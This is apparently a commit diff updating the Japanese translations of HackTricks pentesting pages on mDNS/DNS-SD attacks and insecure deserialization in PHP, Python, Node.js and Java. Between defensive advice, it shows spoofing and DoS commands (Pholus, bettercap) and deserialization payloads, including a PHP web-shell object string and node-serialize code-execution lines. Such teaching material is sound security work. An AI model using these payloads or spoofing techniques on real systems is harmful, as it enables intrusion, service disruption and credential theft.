mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
e275557a04
commit
8322fdf143
@ -17,26 +17,26 @@ PORT STATE SERVICE
|
||||
|
||||
## DNS-SD サービスモデル
|
||||
|
||||
サービスは .local の下で _<service>._tcp または _<service>._udp として識別されます。例:_ipp._tcp.local(プリンター)、_airplay._tcp.local(AirPlay)、_adb._tcp.local(Android Debug Bridge)など。_services._dns-sd._udp.local でタイプを発見し、発見されたインスタンスを SRV/TXT/A/AAAA に解決します。
|
||||
サービスは .local の下で _<service>._tcp または _<service>._udp として識別されます。例:_ipp._tcp.local (プリンター)、_airplay._tcp.local (AirPlay)、_adb._tcp.local (Android Debug Bridge) など。_services._dns-sd._udp.local でタイプを発見し、発見されたインスタンスを SRV/TXT/A/AAAA に解決します。
|
||||
|
||||
## ネットワーク探索と列挙
|
||||
|
||||
- nmap ターゲットスキャン(ホスト上の直接 mDNS):
|
||||
- nmap ターゲットスキャン (ホスト上の直接 mDNS):
|
||||
```bash
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
- nmap ブロードキャスト発見(セグメントをリッスンし、すべての DNS-SD タイプ/インスタンスを列挙):
|
||||
- nmap ブロードキャスト発見 (セグメントをリッスンし、すべての DNS-SD タイプ/インスタンスを列挙):
|
||||
```bash
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse(Linux):
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# サービスタイプのリスト
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# すべてのサービスをブラウズし、ホスト/ポートに解決
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd(macOS):
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# すべての HTTP サービスをブラウズ
|
||||
dns-sd -B _http._tcp
|
||||
@ -45,7 +45,7 @@ dns-sd -B _services._dns-sd._udp
|
||||
# 特定のインスタンスを SRV/TXT に解決
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- tshark でのパケットキャプチャ:
|
||||
- tshark でのパケットキャプチャ:
|
||||
```bash
|
||||
# ライブキャプチャ
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
@ -57,9 +57,9 @@ sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-s
|
||||
|
||||
## 攻撃
|
||||
|
||||
### mDNS 名プロービング干渉(DoS / 名前の占有)
|
||||
### mDNS 名プロービング干渉 (DoS / 名前の占有)
|
||||
|
||||
プロービングフェーズ中、ホストは名前のユニーク性を確認します。偽の競合で応答することで、新しい名前を選択させるか、失敗させることができます。これにより、サービスの登録や発見が遅れたり、妨げられたりする可能性があります。
|
||||
プロービングフェーズ中、ホストは名前のユニーク性を確認します。偽の競合で応答することで、新しい名前を選択させるか、失敗させることができます。これにより、サービスの登録や発見が遅れるか、妨げられる可能性があります。
|
||||
|
||||
Pholus の例:
|
||||
```bash
|
||||
@ -71,9 +71,9 @@ sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
広告されたDNS-SDサービス(プリンター、AirPlay、HTTP、ファイル共有)をなりすまし、クライアントをあなたに接続させる。これは特に以下の目的に役立ちます:
|
||||
- _ipp._tcpまたは_printer._tcpをスプーフィングして文書をキャプチャする。
|
||||
- クライアントをHTTP/HTTPSサービスに誘導し、トークン/クッキーを収集したり、ペイロードを配信したりする。
|
||||
- Windowsクライアントがなりすましサービスに対して認証を交渉する際にNTLMリレー技術と組み合わせる。
|
||||
- Windowsクライアントがなりすましサービスに対して認証を交渉する際に、NTLMリレー技術と組み合わせる。
|
||||
|
||||
bettercapのzerogodモジュール(mDNS/DNS-SDスプーファー/なりすまし者)を使用して:
|
||||
bettercapのzerogodモジュール(mDNS/DNS-SDスプーファー/なりすまし):
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
@ -98,7 +98,7 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### 最近の実装問題に関するノート(エンゲージメント中のDoS/持続性に役立つ)
|
||||
### 最近の実装問題に関する注意事項(エンゲージメント中のDoS/持続性に役立つ)
|
||||
|
||||
- Avahiのreachable-assertionおよびD-Busクラッシュバグ(2023)は、Linuxディストリビューション上でavahi-daemonを終了させる可能性があり(例:CVE-2023-38469..38473、CVE-2023-1981)、ターゲットホストでのサービス発見を再起動まで妨げます。
|
||||
- Cisco IOS XE Wireless LAN ControllerのmDNSゲートウェイDoS(2024、CVE-2024-20303)は、隣接する攻撃者が高いCPU負荷を引き起こし、APを切断させることを可能にします。VLAN間にmDNSゲートウェイがある場合、誤った形式または高レートのmDNSの下での安定性に注意してください。
|
||||
@ -111,9 +111,9 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- 管理された環境では、Windows Defender Firewallの組み込み「mDNS (UDP-In)」ルールを無効にして(少なくともドメインプロファイルで)、ホーム/ローミング機能を保持しながら、mDNSの受信処理を防ぎます。
|
||||
- 新しいWindows 11ビルド/GPOテンプレートでは、「コンピュータの構成 > 管理用テンプレート > ネットワーク > DNSクライアント > マルチキャストDNS (mDNS) プロトコルの構成」を使用し、無効に設定します。
|
||||
- Linux(Avahi):
|
||||
- 管理された環境では、Windows Defenderファイアウォールの組み込み「mDNS (UDP-In)」ルールを無効にして(少なくともドメインプロファイルで)、ホーム/ローミング機能を保持しながら、mDNSの受信処理を防ぎます。
|
||||
- 新しいWindows 11ビルド/GPOテンプレートでは、「コンピュータの構成 > 管理用テンプレート > ネットワーク > DNSクライアント > マルチキャストDNS (mDNS) プロトコルの構成」というポリシーを使用し、無効に設定します。
|
||||
- Linux (Avahi):
|
||||
- 不要な場合は公開を制限します:`disable-publishing=yes`を設定し、`/etc/avahi/avahi-daemon.conf`内の`allow-interfaces=` / `deny-interfaces=`でインターフェースを制限します。
|
||||
- `check-response-ttl=yes`を検討し、厳密に必要でない限り`enable-reflector=yes`を避けます。反射時には`reflect-filters=`ホワイトリストを優先してください。
|
||||
- macOS:特定のサブネットに対してBonjour発見が不要な場合、ホスト/ネットワークファイアウォールで受信mDNSを制限します。
|
||||
@ -121,8 +121,8 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD
|
||||
|
||||
## ツールのクイックリファレンス
|
||||
|
||||
- nmap NSE:`dns-service-discovery`および`broadcast-dns-service-discovery`。
|
||||
- Pholus:アクティブスキャン、逆mDNSスイープ、DoSおよびスプーフィングヘルパー。
|
||||
- nmap NSE: `dns-service-discovery`および`broadcast-dns-service-discovery`。
|
||||
- Pholus: アクティブスキャン、逆mDNSスイープ、DoSおよびスプーフィングヘルパー。
|
||||
```bash
|
||||
# パッシブスニッフィング(タイムアウト秒)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
@ -133,9 +133,9 @@ sudo python3 pholus3.py <iface> --request
|
||||
# サブネットの逆mDNSスイープ
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod:mDNS/DNS-SDサービスを発見、保存、広告、なりすます(上記の例を参照)。
|
||||
- bettercap zerogod: mDNS/DNS-SDサービスを発見、保存、広告、なりすます(上記の例を参照)。
|
||||
|
||||
## スプーフィング/ MitM
|
||||
## スプーフィング/MitM
|
||||
|
||||
このサービス上で実行できる最も興味深い攻撃は、クライアントと実際のサーバー間の通信でMitMを実行することです。機密ファイル(プリンターとの通信をMitM)や認証情報(Windows認証)を取得できる可能性があります。\
|
||||
詳細については、次を確認してください:
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**シリアライズ**は、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信する意図があります。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。
|
||||
**シリアライズ**は、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信する意図があります。この技術は、オブジェクトが後で再作成できるように、その構造と状態を維持するために一般的に使用されます。
|
||||
|
||||
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
|
||||
|
||||
@ -16,9 +16,9 @@ PHPでは、シリアライズおよびデシリアライズプロセス中に
|
||||
|
||||
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
|
||||
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
|
||||
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
|
||||
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
|
||||
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
|
||||
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。
|
||||
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
|
||||
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
|
||||
結果を見ると、オブジェクトがデシリアライズされるときに **`__wakeup`** と **`__destruct`** 関数が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
|
||||
|
||||
> [!WARNING]
|
||||
> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
|
||||
> クラスに実装されている場合、**`__wakeup()`** の代わりに **`__unserialize(array $data)`** メソッドが呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -90,7 +90,7 @@ This is a test<br />
|
||||
> }
|
||||
> ```
|
||||
|
||||
説明された **PHPの例をこちらで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
説明された **PHPの例をここで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、ここ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはここ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### 参照値のシリアライズ
|
||||
|
||||
何らかの理由で、**別のシリアライズされた値への参照**として値をシリアライズしたい場合は、次のようにできます:
|
||||
何らかの理由で、他のシリアライズされた値への **参照として** 値をシリアライズしたい場合は、次のようにできます:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -118,7 +118,7 @@ $ser=serialize($o);
|
||||
### `allowed_classes`を使用したPHPオブジェクトインジェクションの防止
|
||||
|
||||
> [!INFO]
|
||||
> `unserialize()`の**第2引数**(`$options`配列)のサポートは**PHP 7.0**で追加されました。古いバージョンでは、関数はシリアライズされた文字列のみを受け入れ、インスタンス化できるクラスを制限することは不可能です。
|
||||
> **PHP 7.0**で`unserialize()`の**第2引数**(`$options`配列)のサポートが追加されました。古いバージョンでは、関数はシリアライズされた文字列のみを受け入れ、どのクラスがインスタンス化されるかを制限することが不可能です。
|
||||
|
||||
`unserialize()`は、特に指示がない限り、シリアライズされたストリーム内で見つかった**すべてのクラス**を**インスタンス化**します。PHP 7以降、この動作は[`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php)オプションで制限できます:
|
||||
```php
|
||||
@ -154,14 +154,14 @@ return @unserialize(trim($data));
|
||||
return $data;
|
||||
}
|
||||
```
|
||||
**PHP ≤ 7.0** をまだ実行しているサーバーでは、この2番目の分岐が管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** に至りました。最小限のエクスプロイトペイロードは次のようになります:
|
||||
**PHP ≤ 7.0** をまだ実行しているサーバーでは、この2番目の分岐が管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** につながりました。最小限のエクスプロイトペイロードは次のようになります:
|
||||
```
|
||||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
```
|
||||
管理者がエントリを表示すると、オブジェクトがインスタンス化され、`SomeClass::__destruct()`が実行され、任意のコードが実行される結果となりました。
|
||||
|
||||
**重要なポイント**
|
||||
1. `unserialize()`を呼び出す際は、常に`['allowed_classes' => false]`(または厳密なホワイトリスト)を渡してください。
|
||||
1. `unserialize()`を呼び出す際は、常に`['allowed_classes' => false]`(または厳格なホワイトリスト)を渡してください。
|
||||
2. 防御ラッパーを監査してください – それらはしばしばレガシーPHPブランチを忘れがちです。
|
||||
3. **PHP ≥ 7.x** へのアップグレードだけでは*不十分*です:オプションは明示的に指定する必要があります。
|
||||
|
||||
@ -170,12 +170,12 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
### PHPGGC (PHP用のysoserial)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc)は、PHPのデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
|
||||
アプリケーションのソースコード内でデシリアライズを悪用する方法が見つからない場合もありますが、**外部PHP拡張のコードを悪用できる可能性があります。**\
|
||||
アプリケーションのソースコード内でデシリアライズを悪用する方法を**見つけられない場合もありますが、外部PHP拡張のコードを**悪用できるかもしれません。\
|
||||
したがって、可能であれば、サーバーの`phpinfo()`を確認し、**インターネットで検索**(さらには**PHPGGCのガジェット**も)して、悪用できる可能性のあるガジェットを探してください。
|
||||
|
||||
### phar:// メタデータデシリアライズ
|
||||
|
||||
ファイルを読み取るだけでPHPコードを実行しないLFIを見つけた場合、例えば、_**file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize()**_**のような関数を使用している場合、**phar**プロトコルを使用して**ファイル**を**読み取る**際に発生する**デシリアライズ**を悪用しようとすることができます。\
|
||||
ファイルを読み取るだけでPHPコードを実行しないLFIを見つけた場合、例えば、_**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_**のような関数を使用している場合、**phar**プロトコルを使用して**ファイル**を**読み取る**際に発生する**デシリアライズ**を悪用しようとすることができます。\
|
||||
詳細については、以下の投稿をお読みください:
|
||||
|
||||
{{#ref}}
|
||||
@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
|
||||
|
||||
**pickle jails**からの脱出に関する詳細情報は、以下を確認してください:
|
||||
**pickle jail**からの脱出に関する詳細は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -205,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
以下のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:
|
||||
以下のページでは、**yamlの不安全なデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -222,7 +222,7 @@ python-yaml-deserialization.md
|
||||
### JSマジック関数
|
||||
|
||||
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
|
||||
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
|
||||
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行することができます。
|
||||
|
||||
関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
||||
```javascript
|
||||
@ -275,7 +275,7 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例からわかります。
|
||||
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例に示されています。
|
||||
|
||||
ファイル `node-serialize/lib/serialize.js` 内で、同じフラグとそのコードの使用方法を見つけることができます。
|
||||
|
||||
@ -283,11 +283,11 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
.png>)
|
||||
|
||||
最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が使用されて関数がデシリアライズされるため、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。
|
||||
最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるため、基本的に **ユーザー入力が `eval` 関数内で使用されています**。
|
||||
|
||||
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。私たちの例では、コードの一部が **`y.rce` を呼び出す必要があり**、それは非常に **ありそうにありません**。\
|
||||
しかし、**関数をシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
|
||||
それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
|
||||
次のコードのチャンクで、**最後の括弧**と `unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
|
||||
次のコードのチャンクで、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、`eval`を使用して**実行します**。したがって、**コードを自動実行する**ためには、関数作成部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
|
||||
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します** `eval`を使用して。したがって、**コードを自動実行する**には、**関数の作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -306,7 +306,7 @@ serialize.unserialize(test)
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
|
||||
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセス不可であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
|
||||
|
||||
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
|
||||
```javascript
|
||||
@ -334,7 +334,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、`eval` の直接使用が推奨されています:
|
||||
**serialize-javascript** パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。公式の例では、シリアル化されたデータをデシリアル化するために `eval` の直接使用が推奨されています:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -365,7 +365,7 @@ deserialize(test)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用され、潜在的に有害なアクションの実行につながる可能性があります。
|
||||
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、攻撃者がこれらのコールバックをトリガーする悪意のあるペイロードを作成することで悪用され、潜在的に有害なアクションの実行につながる可能性があります。
|
||||
|
||||
### フィンガープリント
|
||||
|
||||
@ -409,35 +409,35 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
あなたは、**脆弱性が知られているすべてのライブラリ**を確認し、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
||||
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、悪用可能なガジェットチェーンを検索することもできます。\
|
||||
あなたは、**脆弱性が知られているすべてのライブラリ**を確認し、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
|
||||
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
|
||||
**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
|
||||
|
||||
#### ブラックボックステスト
|
||||
|
||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性を悪用するための**ペイロードを選択しやすくなる**でしょう。\
|
||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**でしょう。\
|
||||
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||
GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
|
||||
|
||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialで悪用可能な脆弱なライブラリを特定し、**それらを**悪用**できます。\
|
||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、**それらをエクスプロイト**できます。\
|
||||
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
|
||||
|
||||
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
|
||||
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。\
|
||||
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**シリアライズテスト**
|
||||
|
||||
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。\
|
||||
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷できます。送信しているデータを知ることで、変更していくつかのチェックをバイパスするのが容易になります。
|
||||
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
|
||||
|
||||
### **エクスプロイト**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Javaデシリアライズを悪用するための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||
このツールは**`ObjectInputStream`**の悪用に**焦点を当てている**ことに注意してください。\
|
||||
私は**RCEペイロードの前に「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
|
||||
